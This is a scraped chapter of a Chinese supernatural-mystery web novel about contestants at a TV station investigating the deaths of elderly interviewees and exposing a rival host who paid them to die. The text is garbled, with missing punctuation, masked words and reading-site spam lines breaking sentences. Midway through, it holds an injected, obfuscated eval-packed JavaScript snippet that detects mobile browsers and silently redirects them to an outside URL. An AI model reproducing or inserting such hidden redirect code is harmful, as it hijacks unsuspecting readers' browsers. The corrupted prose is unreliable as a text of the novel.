第27章

作品:《乖宝

    在接受采访后老人们齐齐离奇**了多神秘的专题节目啊。


    文可的脸色却瞬间变得煞白。


    “**?为什么?他们为什么会**?”


    她在脑海里过了一遍自己昨天与他们的交谈明明谈得都很好明明没有任何征兆啊。


    她手忙脚乱地把遥控器调回了幸福台。


    电视里正放着他们对第二位老人的采访氛围很和谐老人手头正在织着毛衣嘴角甚至还带着柔和的笑意。


    他们采访结束后帮每位老人都打扫了卫生有的老人还过意不去极力邀请他们留下来吃顿饭再走。


    离开前那些老人还给他们塞了各种吃食。


    多么和谐多么愉快的一次采访啊!


    文可做过这么多期节目经历过很多不配合、难搞定的采访对象唯有这期是最顺利的简直顺得她不可思议。


    怎么可能他们怎么可能**呢!


    而玩家们则是想到了那天回程前听到的“啪”的一声。


    那脆生生的原来是一个人从楼上跳了下来就像一只沙包自空中落下。


    他们静默了一瞬。


    那些老人的音容笑貌在他们脑海浮现。


    郎星叹息:“他们人都挺好的。”


    “是啊


    文可更是红了眼眶:“那可是一条条活生生的命啊怎么就没了呢。”


    他们难过地低下了头为那逝去的生命悲伤了一阵随后打起精神来思索。


    “不对劲发生得也太快了。”杨昭宁说着。


    秦赴川点了点头“从那阵响动的时间判断几乎是我们前脚刚走后脚他们就**了。”


    郎星接着说:“还有更离奇的咱们采访的几个老人确实有住在高层的可是临福苑那个分明是住在一楼的关键他腿脚也不方便啊他那小区还没有电梯他是怎么做到自己先爬到顶楼然后跳下去的呢!”


    他悄声说:“你们说会不会……是有鬼魂作祟?”


    毕竟这是一个灵异副本。


    “不是没有可能不过我更倾向于人为。”秦赴川望着电视里和谐的画面。


    “希望台的节目做得太巧了他们是跟我们在同一天录制的节目可偏偏每个**的老人都成了他们的素材——”


    “就像是提前预料到了他们会在那个时候**一样。”


    文可一时站了起来痛惜化为怒气冲冲:“说得没错肯定是他们干的!而且林侃刚才说的那句话是在故意把嫌疑往我们身上扯!”


    林侃就是刚才希望台的主持人。


    其他


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    玩家赞同:“我也觉得,肯定是希望台为了博人眼球,先把那些老人杀了,顺便还能嫁祸到我们身上,一石二鸟啊。”


    也有玩家疑惑:“可是他们怎么敢的呢?既然事情闹大了,总会有人报警吧?这么多老人离奇**,很难把线索抹干净,应该挺好查的吧?”


    文可回:“你们是说,报告治安官吗?”


    她迟疑了一下,“一般发生这种事,确实是会上报治安官,但据我所知,如果出事的不是权贵,很多时候,最后往往会不了了之。”


    郎星惊诧:“这可是这么多老人**啊,也会不了了之吗?”


    “一是年龄大了,无法再为幸福市做什么贡献了,二是这些老**都是外乡人,他们就更不会上心了。”


    他咋舌:“你们这人人向往的幸福市,到底幸福在哪儿了?”


    “我看对**来说倒是挺幸福的了。”


    文可摇摇头:“对于生活富足的那部分人来说,自然是幸福的,他们的各方面都很有保障。”


    “而大多数普通人,都在为了进入那个圈层而拼命努力,这就是幸福市格外发达的原因,也是市民们压力巨大的原因。”


    说完,她回归了正题,还是有些担心:“希望台现在是在给我们抹黑,也不知道市民们会不会相信。”


    幸福市的市民确实对此格外关注,因为玩家们看了社交平台。


    【该死的文可,做的节目无聊**,她要是真能用三言两语让那些老头老太们**,我倒还要高看她一眼,但这么无趣的人,不可能弄出这种杰作。】


    【死的都是外乡人,死得好啊哈哈哈。】


    【那个文可主持的节目难看得要命,本来压力就大,这种玩意儿看得我脑子都要炸了!要不是看到希望台说那些**都是被幸福台采访过的,我才不乐意把频道调到幸福台,结果看完又头痛了!】


    【到底是谁干的呢?一下子杀了这么多人,我都要迷上Ta了!还会继续吗?】


    【文可,别听他们的,加油!如果你能**作为一期节目,我会很乐意看的!文可,你能看到吗?我支持你**!!一定要加油**啊!!!】


    文可满眼的不敢置信,一下子将手机关掉了。


    她平时几乎不会上网去看旁人对自己和节目的评价,因为时不时可以收到观众的信表示认可,所以即使收视率不佳,她也没觉得有什么。


    根本没想到,幸福市的居民对她意见这么大。


    更没想到,这些市民愿意相信她的清白,居然是因为觉得她无趣。


    而他们节目一开始的那段高收视率,竟然是希望台“施舍”的。


    她委屈得两眼越发红了。


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    网上那些言论看得玩家们也不忍直视。


    只能干巴巴地劝慰:“那个,小文,你也别难过,往好了说,至少市民们是相信你的,是吧,希望台的脏水只成功了一半。”


    不过这回,希望台的收视率确实是爆了。


    其实玩家们倒也早就有所预料,不算太过沮丧,这第一回交锋,是留给他们适应这个世界的,接下来还有九期节目可以追回来。


    秦赴川突然问:“希望台以前的节目有存档吗?”


    文可擦了擦鼻子,瓮声瓮气说:“有。”


    随后玩家们便一起看了希望台之前的十期节目,有些意外:


    “居然全是关于**的?”


    文可冷哼:“他们总是做这种节目哗然取宠,毫无内涵可言。”


    几人面面相觑。


    其实他们都有些意想不到,对于思想有些迂腐、业绩不佳的文可,如此重视收视率的甄台长居然会让她转正留下,尤其是她都已经接管这档栏目一年了,收视率没几次打得过希望台的。


    可他宁愿再招十一个实习生进来,也没辞掉文可。真算得上是个铁饭碗了。


    换句话说,其实这烂摊子是留给他们应付的。


    文可不平:“我不爱看希望台,幸福市也有很多人不喜欢这种栏目,这部分人不在少数,我一直以为,只要争取到这部分人的支持也足以跟希望台抗衡了。”


    可显然远远不够。


    郎星撑着下巴想:“这儿的居民还爱看什么节目?美食类?益智类?说起来,这些也能减轻精神压力啊。”


    杨昭宁心里一动,想起了他们刚来报道时,保安手里拿着的报纸。


    当时的头版就是一起**案报道,她扫过一眼,板面好像大多都是**案。


    他们的桌上其实也有普通的娱乐杂志和报纸,但都被丢到了一边,或是垫了玻璃板,崭新得没被打开过,反倒是报纸,都卷了边了。


    “台里的那两个保安,都是幸福市本地人吗?”


    文可不明所以地点点头:“是啊。”


    被杨昭宁这么一提醒,几个玩家并不笨,立即想起了题目里说的奇怪称呼:幸福市的本土居民。


    此时他们明白了,难怪会特意强调本土居民。


    这是游戏给的一个提示。


    还有秦赴川,也曾问过文可是不是本地人。


    “幸福市的本土居民跟外乡人,是有区别的,尤其是在观看电视的口味上。本土居民,只喜欢看刺激的,或是血腥的,能让人情绪大起大落的内容,比如死亡。”


    在此之前,他们只觉得题目里说节目要有益居民身心,而小文的选题虽然无聊,但至少还是符合这个方向的,所以没太反对。


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    谁知道这帮居民的心这么黑。


    “啧,从看电视的口味上看,这幸福市本土的人还真不是好相处的。


    “外来人倒也不一定都是好的,那李晓阳不就是外来的,我看他挺适合一直待在这儿,完全符合本土居民的性格。


    “肖主任和甄台长肯定都是本土的吧?


    文可一顿,旋即摇了摇头,“我们台长也是外来的。


    几人有些吃惊:“那他对这儿融入得可真快的。


    杨昭宁想了想,“小文,这一回对决,咱们惨败了,没关系,至少我们已经弄清接下来该往哪个方向使劲了。


    “这回台长下了死命令,必须得把赞助商争取到,咱们不能再捧着那有深度的专题了。虽然他们也并不觉得文可做出来的节目有什么深度。


    “对啊,小文,咱们先为五斗米折腰好吗?先努力讨好本土居民吧,他们的数量毕竟最多。也就这十期,等赢下竞争之后,你还能再做回你的尊老爱幼专题,我们绝不会管你。


    他们好声好气地商量,怕文可再生气,化身成什么小boss。


    不过好在他们提到了甄台长,让小文也有些害怕,想起了那天在会议室她跪下的情境。


    加之刚才看到的网上言论让她大受打击,她沉默了数秒,口头终于有了松动:“你们说,本土居民最喜欢看**案,可我上哪儿去找**案啊?


    那些已经有人报道过的,拾人牙慧观众也必不会爱看。


    而她一直自诩有做媒体人的基本底线,万不可能做出像希望台那样,为了出节目而残害生命的事来。


    正说着,文可桌上的电话响了。


    接起电话后听了几句,她脸色霎时一白,与玩家们对视了一眼。


    “明澄,你先留在这儿。


    很快,玩家们就赶到了门口。


    外头正**着一大帮人。


    “文可呢?叫文可出来!


    文可慌张地看向他们。


    这些人,都是**身亡老人们的子女。


    “你们幸福电视台伤天害理!


    “是你文可逼**我爸!


    “一定是你跟我妈说了什么,我妈前两天还好好的给我钱呢,怎么可能突然**!


    文可百口莫辩:“我没有!电视节目已经播出了,你们都可以看到,我什么出格的话都没说!那天只是正常采访!


    “呵,谁不知道,电视节目都是经过剪辑的,谁知道是不是你说了什么话但没播出来。说话的是他们曾见过的,第一位老人的儿子小刚。


    “你血口喷人!


    可她说什么都显得苍白无力,拼音量,更是拼不过他们。


    事实上,他们未必都觉得


    听说看这本书的人都是很幸运的,分享后你的运气会更棒


    真是小文害了自己的父母来这儿也不是为了讨伐要个公道。


    因为每个人的脸上根本不见多少伤痛。


    “总而言之你害**我们爸妈得赔偿!幸福电视台得为这几条人命赔偿!”


    “要是你们不赔钱我们会号召全市居民再也不看幸福电视台!等着吧!”


    文可有些慌张。


    玩家们赶紧找到肖主任


    然而她只是冷眼看着他们然后拿出了遥控器轻飘飘按下。


    瞬间刺痛蔓延至玩家全身。


    足足摁了三秒肖主任才松开了手收回视线看也不看他们:“你们惹出的事自己处理好。记住不要让电视台蒙羞。”


    “你们就庆幸现在甄台长不在台里吧。”


    否则他们一定吃不了兜着走。


    秦赴川平复了一下呼吸:“那肖主任可以批我们外勤吗?我们知道出外勤要提前一天提但是现在人是在门外**要想解决事情我们也需要出门。”


    肖主任盯着他们看了一会儿鲜艳的口唇张开:“下不为例。”


    拿着外勤的条子他们给保安室的保安们示意然后出了门。


    年老些的保安依旧沉浸于报纸头条之中那个叫小王的保安主动开了门但看上去一副幸灾乐祸的样子探着头朝这边望来。


    外头的人依旧在喊着要赔偿堵着门。


    见他们出来口号喊得更欢了还抓着他们的衣襟生怕被他们溜了似的。


    文可高声说:“各位!你们的父母绝对不是我们幸福电视台害死的!”


    “谁信啊!”


    杨昭宁呼喊:“都是希望电视台的问题!老人**的下一刻他们就赶到还进行了拍摄报道你们就不觉得蹊跷吗?”


    他们却油盐不进:“蹊跷不蹊跷的不关我们的事我们只知道人是在被你们采访过后才死的你们必须得给赔偿。”


    “没错!别想躲过去!不给钱我们就不走了!你们也别想走!”


    突然秦赴川冷静道:“你们或许不知道其实幸福电视台因收视率不佳吸引不到赞助常年亏损所以不管你们怎么闹台里都是不可能出这笔钱的。”


    文可诧异地看着他不知道他是怎么看出来的。


    他接着说:“反倒是希望电视台财大气粗你们可以去看他们的采访车比幸福电视台的豪华得多。”


    “哈你想说什么?不会是说让希望台出钱吧?”他们连连冷笑。


    “为什么不?希望台能给你们的绝对比我们多他们很明显与这些老人之死脱不了干系你们去找他们要钱是天经地义的事更


    听说和异性朋友讨论本书情节的,很容易发展成恋人哦


    是比找我们来得快多了,能要到的钱也必然更多。”


    人群的骚动微减,似乎是在权衡他话语的可信度。


    杨昭宁也开口:“幸福电视台就在这儿,是不会跑的,要是回头找到了什么证据,证明那些老人真的是我们害死的,你们还可以再来。”


    说着,杨昭宁亮出自己的工卡给他们看:“我是这儿的实习生,接下来一个月都得在这儿工作,逃不掉的。”


    那些亢奋的人们又稍稍平静了些。


    其他玩家见状,纷纷给他们看自己的工卡,“还有我们,我们也一直在这儿待着。你们现在过来要钱,根本要不到的,我们台长都不在台里呢,只是做无用功罢了,而且堵我们也没用,我们住宿舍,可以不出去。”


    这下,**的人群彻底消停了。


    领头的小刚啐出口中的烟头,用脚在地上捻了捻,“行,算你们今天走运。走,咱们先去找希望台要说法去。”


    在人群逐渐散去后,玩家们也没有放松多少。


    这儿的治安官对普通人来说没什么用,秦赴川和杨昭宁说得动人,但他们都知道,希望台根本不可能给那些人钱,也不可能承认自己对老人之**需要负责。


    那帮人要是一直来骚扰,或者如他们所言,直接宣传抵制幸福电视台的节目,那对于他们来说影响太大了。


    “接下来该怎么办?”


    玩家们纷纷琢磨着到底怎么解决这件事。


    被围在正中心的杨昭宁抬眼:“当然是去希望电视台,做咱们的下一期节目。”


    文可和其他人都是一愣。


    秦赴川也笑了笑:“幸福市的本土居民,不是喜欢看刺激的吗?”


    一小时后,一行人来到了希望电视台。


    秦赴川一点都没说错,希望台确实财大气粗,这里的办公大楼比幸福台还要多出一栋,也更高。


    门口的保安室站着的也都是年轻板正的小伙子,对比幸福台的歪瓜裂枣更是明显。


    来**的人本该比他们先一步到达,可是现在却不见踪影,看来他们投降得比想象的还快。


    得知文可几人到来,他们在电视上见过的希望台的那位主持人将他们迎了进去。


    作为同时段节目的主持人,文可还在公共办公区工作,而林侃却已经有了独立办公室。


    办公室内窗帘拉着,灯光璀璨,家具一应俱全。


    尤其面积竟占据了足足一整层,可见其在电视台之当红。


    明面上,两家电视台的关系还是友好的,他重新在椅子里坐下,温和问:“小文主持,你们来这儿是有什么事?”


    文可恨声说:“别装了!你们太卑鄙了,竞争就竞争,为什么要干出那些


    你的朋友正在书荒,快去帮帮他吧


    上不了台面的小动作为什么要去杀害无辜的人!”


    林侃面上依旧挂着那标准的微笑:“我想你搞错了两点。首先我们希望电视台绝对不会动手**哪怕治安官查不到。要知道你有你的底线我们也有我们的。这一点你大可放心。”


    接着他起身居高临下地看了一眼文可:“第二……希望电视台从来没把幸福电视台当成对手你们还不够格。”


    他坐下来“我们希望电视台所做的一切节目都只是为了给满怀压力的幸福市居民们提供一个放松的空间给他们带来希望。”


    他说


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985805|193632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这句话的时候充满了虔诚。


    “只是恰巧观众们也喜欢我们的节目所以收视率才会独占鳌头。”


    他一副“其实我们也不想的”语气让文可气得不行。


    杨昭宁走上前两手撑着桌子目光充满压迫性:“那你要如何解释你们能在几个老人死亡的第一时间赶到现场?”


    林侃的笑容滴水不漏:“我们台里有多台采访车常常满城转悠寻找拍摄素材所以总能拿到第一手材料。你知道的在幸福市最不缺的就是**案。”


    “哦抱歉我忘了这一点你们幸福电视台好像做不到那么无法想象也可以理解。”


    郎星看他那得意的模样极力克制着才没有抓起他的领子:“那些老人过得这么惨这么可怜你就这样害死他们好用他们的尸骨作为你们电视台吸引眼球的素材?你的良心呢!”


    林侃两手交叉看着他像是被他的某句话给逗乐了突然笑出了声。


    接着笑声越来越大忍不住了似的许久才停正色道:“你也说了他们过得这么惨这么可怜那么或许**是因为他们在寻求解脱?这样也不错不是吗?”


    另一位女玩家上前:“你的目的不仅是收视率还有给我们幸福电视台泼脏水吧?让那些老人的子女找我们麻烦卑鄙!”


    林侃又笑了:“我只是实话实说他们确实是在接受了你们的采访之后才**的啊难道实话也不让说吗?”


    接下来不管玩家们如何轮番上前轰炸威逼利诱说得口干舌燥使出各种手段他也依旧悠然自在。


    话语间更是不落任何把柄坚称他们电视台没有杀过人。


    幸福电视台一行人只好无功而返。


    “再见各位。希望你们下次来找我是有正事要说


    看着十来个人愤愤不平直跺脚听着他们说:“你就等着吧报应不爽。”


    他的笑容不增不减关上了


    你身边有不少朋友还没看到本章呢,快去给他们剧透吧


    门。


    没有了外人在,他越发愉悦了。


    “幸福电视台……呵。他轻蔑地提了一下嘴角。


    不过如此。


    不过逗弄他们,倒是挺有意思,刚才将他们说得哑口无言时,他也感到了一阵爽快。


    他转过身,回到了位子上,突然一顿。


    他的办公椅不知何时突然不见了。


    林侃眯起眼,思索自己刚才是否有动过那张椅子。


    他确定没有。


    想了想,他冷笑了一声,心知应该是刚才那帮幸福电视台的人干的。


    他们不会以为,藏起一张椅子就能报复到他了吧?


    说不过他,就把他的椅子给偷走了。


    这实在好笑,他直接笑出了声。


    紧接着,头顶的灯突然熄灭了。


    他笑声停滞,皱眉,希望电视台大楼的电路什么时候这么不稳定了?


    他拿起内线电话,打给后勤,打算好好问问。


    电话拨出后不久,通了,可是那头却一片死寂。


    往日里,由他办公室拨出的电话,必会引起一众人抢着接,以此讨好他,有机会参与进他的节目。


    “喂?喂?


    “喂??是后勤部吗?人呢?


    他愉快的心情被打扰了,不悦地拉下嘴角,打算挂掉电话。


    可刚做出动作,他听到了一阵歌声自话筒中传来。


    那是一阵极诡异的童声。


    在这一片寂静之中,显得阴森而诡异。


    林侃呼吸一滞,立刻挂断了电话。


    犹豫了一下,他没有尝试重新拨出,太诡异了。


    是电话线路故障?


    正想着,他突觉脖颈痒痒的,像是掉下的碎发落到了衣领里引起的痒意。


    他伸出手,胡乱抓了一下。


    然后刚收回手,又似有风在后脑拂动,可窗户明明是关着的。


    那感觉,就像是有谁在他脑后轻轻地吹了口气。


    他被这想象惊得失了魂,猛然回头望去——


    什么都没有。


    办公室里的空调是一年四季恒温的中央空调,可此时,他竟感受到了一阵寒意。


    不是普通的冷,而是深入骨髓的,悚然的凉。


    刚才脑后吹的那口气,犹如浸入了他的四肢百骸。


    林侃的手顿时僵硬了,警觉:“谁?是谁?!谁在这儿?!!


    一阵簌簌声响起,那不知从哪个方向吹来的风又起来了。


    灯光倏然亮起,他这才看到,办公桌上竟不知何时多了张白纸,纸上只写着几行字:


    “年轻人,忘了我们了吗?咱们昨天刚见过面啊。


    “就在水泥地上,我躺在那儿,瞪大了眼看着你,听你报道呢。


    “可惜,你只看了我一


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    眼就没再看了,可是我一直在看着你。”


    “你的眼睛,真好看啊,你的笑,也好看。不像我的脸,那么老,还摔碎了。真羡慕你的脸,这么年轻,这么完整。”


    “要是它属于我,就好了。”


    林侃大惊,脑海中骤然浮现出一张碎裂成块的脸,那死不瞑目的脸……


    是那些空巢老人!


    冷汗唰唰如雨下。


    是他们回来了?他们是回来找他的?这怎么可能!


    如同每一位幸福市的本土居民一样,他喜欢看死亡,喜欢刺激——但不代表他喜欢看自己死亡,不代表他喜欢自己亲历这种刺激!


    灯光再次暗了下来,黑暗中,林侃呼吸急促,后脖颈的痒意更加明显了。


    不过一秒,灯又亮了,他看到对面的墙壁边缘,竟隐约出现了一副轮椅!


    那阴风再次吹动,刚才桌上的纸被吹开,又露出了下一张。


    “年轻人,你的椅子丢了,来坐我的轮椅吧,我碎成了好多块,再也用不到轮椅了,来吧,来坐吧……”


    刚看完最后一个字,灯灭了。


    林侃的心脏已经跳到了极致,刚才那骤亮的灯亮在他的视网膜上留下了一片雪花般的白。


    灯又亮了。


    不是幻觉,那轮椅还在,可竟然离他更近了!


    林侃死死抓着自己不住瘙痒的脖颈,那双温润的眼睛瞪得眼珠几乎要脱眶了。


    灯又灭了。


    他开始耳鸣了,周围有声音吗?是不是有人在说话?他听不到了!


    林侃甚至分不清自己有没有尖叫,他的感官已经丧失了大半。


    他想去拉开窗帘,让光亮透进来,可脚步却像生了根,动也动不了。


    就在这时,后脖颈那不起眼的痒意转移了,移到了他的头顶。


    “唰”,“唰”……


    好痒啊,他猛地抓了一下,察觉不对——


    他的头发,没有这么多啊……


    他抓着那一大把长长的发丝,缓缓抬起头。


    然后与一双漆黑的眼瞳对上了。


    耳鸣声达到了极致。


    他好像听见了一道细细的嗓音:“年轻人,我的头发也用不着了,送给你,好吗?”


    他听不清了,他也分不清那声音到底是不是真的,只知道自己无法承受了。


    那一瞬间,他彻底爆发了:


    “你们以为这样就可以吓到我吗?!”


    “该死的!你们有什么资格回来找我!!”


    “明明合同已经签过了,钱也打给你们了!都是你们自愿**的!!我没有逼过你们!”


    “死都**凭什么反悔?!不是你们自己说的死前能留一大笔钱给那些废物真是太好了吗?!”


    “你们不是也心知肚明自己是在陷害幸福电视台吗?!你们不是也说过幸福电视台如何根本不关你们的事吗?!那你们现在找我到底要干什么?!!”


    他吼得全身都在抽搐,手指着空气,抖得无法并拢。


    下一秒,灯亮了。


    前方不远处,那张轮椅还在。


    头顶那些铺满他头颅的头发不见了。


    放眼整个办公室里,哪有什么空巢老人?


    在他面前,只有个半人高的年幼孩子,怀里还抱着一只嘴角诡异上扬的娃娃。


    林侃瞬间瘫软了身子,缓缓滑坐在地上,但理智回归,也隐隐察觉,自己似乎是被人做局了。


    反应过来,他睚眦欲裂,望着那个玉雪白嫩的孩童,一字一顿说:“你也是个空、巢、老、人?”


    明澄沉默了一下,有些心虚。


    “我以前,是空巢小人。”